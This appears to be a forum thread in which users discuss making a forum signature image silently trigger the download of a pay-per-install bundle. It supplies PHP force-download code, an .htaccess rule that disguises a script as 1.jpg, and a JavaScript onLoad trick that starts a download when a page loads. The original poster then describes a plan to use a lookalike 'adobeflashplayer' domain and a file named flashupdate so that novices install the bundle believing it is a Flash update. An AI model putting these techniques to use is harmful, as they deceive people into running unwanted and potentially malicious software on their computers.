I know how to make it if someone clicks on the pic not when they view it.

you will need to rewrite 1.jpg to download.php using htaccess and in download.php have this code:

$fileurl='';//URL TO YOUR FILE
$size=strlen(file_get_contents($fileurl));
	header('Content-type: application/force-download');
	header('Content-Disposition: inline; filename="'.$fileurl.'"');
	header('Content-Transfer-Encoding: Binary');
	header('Content-length: '.$size);
	header('Content-Disposition: attachment; filename="'.basename($fileurl).'"');
	readfile($fileurl);

how do you rewrite 1.jpg to download.php using htaccess ?

 

[agj32mrgibbits]

in htaccess:

Options +FollowSymlinks
RewriteEngine on

RewriteRule ^1.jpg$ $download.php

Would that work for those silent install PPI's? Or would it just download it ?

 

[agj32mrgibbits]

no, its just a normal download

You could do this with a simple javascript. Place the image of interest in a simple webpage. In the body tag of the page you'd just put onLoad="location.href=file2download.zip"

This way, as soon as the page loads, the download will start. No need to fool around with htaccess or php.

not everyone has javascript enabled though

why not simply put the url of the zip as url of the picture, it will download the file also - maybe I don't see the point, but if you could tell, what you are trying to achieve, I might help - feel free to PM me if it is confidential

I was trying to post my pic in my sig on ez*boa*rd forum and when people view the tread it would auto start downloading my ppi

I see, well that's not working unfortunately, but good idea though - the problem is, it will download the ppi, BUT it will not install it - it will just download to their temporary files folder and sit there - so makes no sense, sorry. (however, you might stuff a cookie from your sig - anyway in both cases it will not display the picture at all)

thank you , My idea was to get a domain close to like "adobeflashplayer" and name the file flashupdate.... so noob would think it a flash update and install it
